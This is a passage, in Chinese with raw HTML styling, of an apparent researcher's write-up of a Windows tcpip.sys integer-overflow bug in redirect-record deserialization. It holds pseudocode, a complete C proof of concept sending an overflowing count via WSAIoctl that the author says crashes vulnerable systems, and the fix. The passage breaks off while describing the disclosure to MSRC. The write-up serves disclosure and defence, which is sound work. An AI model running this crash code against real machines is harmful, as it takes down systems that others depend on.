239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">漏洞本身</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">在开始反序列化记录之前，函数会检查缓冲区是否足够容纳它被告知的记录数量。相关的检查基本上是这样的：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span leaf="">count * </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x228</span></span><span leaf=""> &lt;= remainingLength</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">看起来没问题，对吧？但问题在于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">count</span></code><span leaf="">是用户可控的，而且这个乘法是无符号 64 位运算，没有做溢出检查。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">我使用的计数值是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">0x2000000000000000</span></code><span leaf="">。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span leaf="">0x2000000000000000 * 0x228 = 0x45 * 2^64</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">因此，在一个 64 位寄存器中，结果就是零。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">0 &lt;= remainingLength</span></code><span leaf="">对于几乎任何缓冲区都成立，包括概念验证中那个仅 16 字节的小缓冲区。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">检查通过了——尽管计数值声称有数量荒谬的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">0x228</span></code><span leaf="">字节记录等待读取。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">接下来发生了什么</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">有趣的部分在于，那个错误的乘法运算只是故事的开始。检查通过之后，函数便认为记录确实存在，并开始处理它们。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">以下是该例程的关键部分，为了可读性做了一些清理：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">uint64_t</span></span><span leaf=""> recordCount = *(</span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">uint64_t</span></span><span leaf=""> *)input;</span><br/><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">if</span></span><span leaf=""> (recordCount * </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x228</span></span><span leaf=""> &gt; remainingLength)</span><br/><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">return</span></span><span leaf=""> STATUS_INVALID_PARAMETER;</span><br/><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">while</span></span><span leaf=""> (recordCount != </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0</span></span><span leaf="">) {</span><br/><span leaf="">    record = </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">allocate_pool</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x228</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);" data-nest-level="4"><span leaf="">&#39;AlcR&#39;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">copy_memory</span></span><span leaf="">(record, input, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x228</span></span><span leaf="">);</span><br/><span leaf="">    input += </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x228</span></span><span leaf="">;</span><br/><span leaf="">    remainingLength -= </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x228</span></span><span leaf="">;</span><br/><span leaf="">    recordCount--;</span><br/><span leaf="">    variableLength = *(</span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">uint32_t</span></span><span leaf=""> *)((</span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">uint8_t</span></span><span leaf=""> *)record + </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x1e8</span></span><span leaf="">);</span><br/><span style="color: rgb(106, 115, 125);" data-nest-level="4"><span leaf="">/* More allocation and copy work happens from here. */</span></span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">第一次 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">0x228</span></code><span leaf="">字节的拷贝就越过了输入的末尾。随后 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">remainingLength</span></code><span leaf="">发生下溢，这意味着后续的边界检查此时面对的是一个接近 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">ULONGLONG_MAX</span></code><span leaf="">的值，而非实际剩余的字节数。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">在拷贝出的记录中，偏移 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">0x1e8</span></code><span leaf="">附近还有一个变长字段。后续代码会使用反序列化后的记录来驱动更多的分配和拷贝操作，因此这远不止是一个无害的算术错误。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">概念验证</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">以下是我提交的概念验证代码：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span leaf="">cl /W4 poc_ale_redirect_overflow.c ws2_32.lib</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span leaf="">#</span><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);" data-nest-level="4"><span leaf="">&lt;winsock2.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);" data-nest-level="4"><span leaf="">&lt;ws2tcpip.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);" data-nest-level="4"><span leaf="">&lt;stdio.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);" data-nest-level="4"><span leaf="">&lt;stdint.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">pragma</span></span><span leaf=""> comment(lib, &#34;ws2_32.lib&#34;)</span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">define</span></span><span style="color: rgb(111, 66, 193);" data-nest-level="4"><span leaf="">SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS</span></span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x980000DEu</span></span><br/><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">int</span></span><span style="color: rgb(111, 66, 193);" data-nest-level="4"><span leaf="">main</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">void</span></span><span leaf="">)</span><br/><span leaf="">{</span><br/><span leaf="">    WSADATA wsa;</span><br/><span leaf="">    SOCKET sock;</span><br/><span leaf="">    DWORD ret = </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">WSAStartup</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">MAKEWORD</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">2</span></span><span leaf="">), &amp;wsa);</span><br/><span leaf="">    sock = </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">WSASocketW</span></span><span leaf="">(AF_INET6, SOCK_STREAM, IPPROTO_TCP, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">if</span></span><span leaf=""> (sock == INVALID_SOCKET)</span><br/><span leaf="">        sock = </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">WSASocketW</span></span><span leaf="">(AF_INET, SOCK_STREAM, IPPROTO_TCP, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">if</span></span><span leaf=""> (sock == INVALID_SOCKET) {</span><br/><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);" data-nest-level="4"><span leaf="">&#34;socket failed: </span></span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">%d</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);" data-nest-level="4"><span leaf="">\n</span></span><span style="color: rgb(0, 56, 120);" data-nest-level="4"><span leaf="">&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">WSAGetLastError</span></span><span leaf="">());</span><br/><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">uint8_t</span></span><span leaf=""> buf[</span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">16</span></span><span leaf="">] = {</span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0</span></span><span leaf="">};</span><br/><span leaf="">    *(</span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">uint64_t</span></span><span leaf=""> *)buf = </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x2000000000000000ULL</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">WSAIoctl</span></span><span leaf="">(sock, SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS,</span><br/><span leaf="">             buf, </span><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">sizeof</span></span><span leaf="">(buf), </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0</span></span><span leaf="">, &amp;ret, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">NULL</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);" data-nest-level="4"><span leaf="">&#34;returned </span></span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">%d</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);" data-nest-level="4"><span leaf="">\n</span></span><span style="color: rgb(0, 56, 120);" data-nest-level="4"><span leaf="">&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">WSAGetLastError</span></span><span leaf="">());</span><br/><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">closesocket</span></span><span leaf="">(sock);</span><br/><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">WSACleanup</span></span><span leaf="">();</span><br/><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">就是这样。创建一个套接字，给控制操作传一个 16 字节的缓冲区，把前八个字节设为会导致溢出的计数值。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">在存在漏洞的版本上，系统会触发 bug check（蓝屏）。在我的崩溃中，故障是在清理阶段通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">tcpip!WfpAleDecrementWaitRef</span></code><span leaf="">显现出来的，此时 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">AleRedirectRecordsDeserializeFromBuffer</span></code><span leaf="">已经处理完了那段畸形输入。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">序列化器倒是做对了</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">让这个漏洞分析起来格外愉快的一点是，有对应的序列化代码可供参照。序列化器在计算输出大小时使用了带检查的运算，包括在将各部分大小相加时有显式的溢出处理。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">而反序列化器在将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">count * 0x228</span></code><span leaf="">的结果用作边界检查之前，却没有做同样的事情。这个格式的一个方向小心翼翼，另一个方向却漫不经心。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">修复这类漏洞很简单。要么使用带溢出检查的乘法，要么干脆避免乘法：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">if</span></span><span leaf=""> (count &gt; remainingLength / </span><span style="color: rgb(0, 92, 197);" data-nest-level="4"><span leaf="">0x228</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);" data-nest-level="4"><span leaf="">return</span></span><span leaf=""> STATUS_INVALID_PARAMETER;</span></code></pre><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">漏洞披露</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">我于 2026 年 4 月 20 日向 MSRC 